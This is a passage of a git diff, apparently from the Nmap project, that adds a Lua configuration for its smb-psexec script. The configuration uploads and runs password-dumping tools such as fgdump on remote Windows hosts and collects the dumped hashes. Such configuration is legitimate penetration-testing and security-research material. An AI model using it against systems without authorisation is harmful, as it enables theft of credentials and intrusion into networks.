+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+ UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+ >
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/nselib/data/psexec/pwdump.lua b/nselib/data/psexec/pwdump.lua
new file mode 100644
index 0000000..3ec256d
--- /dev/null
+++ b/nselib/data/psexec/pwdump.lua
@@ -0,0 +1,52 @@
+---This config file is designed for running password-dumping scripts. So far,
+-- it supports pwdump6 2.0.0 and fgdump.
+--
+-- Note that none of these modules are included with Nmap by default.
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+--mod = {}
+--mod.upload = true
+--mod.name = "PwDump6 2.0.0"
+--mod.program = "PwDump.exe"
+--mod.args = "localhost"
+--mod.maxtime = 10
+--mod.include_stderr = false
+--mod.url = "http://www.foofus.net/fizzgig/pwdump/"
+--table.insert(modules, mod)
+
+---Uncomment if you'd like to use PwDump6 1.7.2 (considered obsolete, but still works).
+-- Note that for some reason, this and 'fgdump' don't get along (fgdump only produces a blank
+-- file if these are run together)
+--mod = {}
+--mod.upload = true
+--mod.name = "PwDump6 1.7.2"
+--mod.program = "PwDump-1.7.2.exe"
+--mod.args = "localhost"
+--mod.maxtime = 10
+--mod.include_stderr = false
+--mod.extrafiles = {"servpw.exe", "lsremora.dll"}
+--mod.url = "http://www.foofus.net/fizzgig/pwdump/"
+--table.insert(modules, mod)
+
+-- Warning: the danger of using fgdump is that it always write the output to the harddrive unencrypted;
+-- this makes it more obvious that an attack has occurred.
+mod = {}
+mod.upload = true
+mod.name = "FgDump"
+mod.program = "fgdump.exe"
+mod.args = "-c -l fgdump.log"
+mod.maxtime = 10
+mod.url = "http://www.foofus.net/fizzgig/fgdump/"
+mod.tempfiles = {"fgdump.log"}
+mod.outfile = "127.0.0.1.pwdump"
+table.insert(modules, mod)
+
+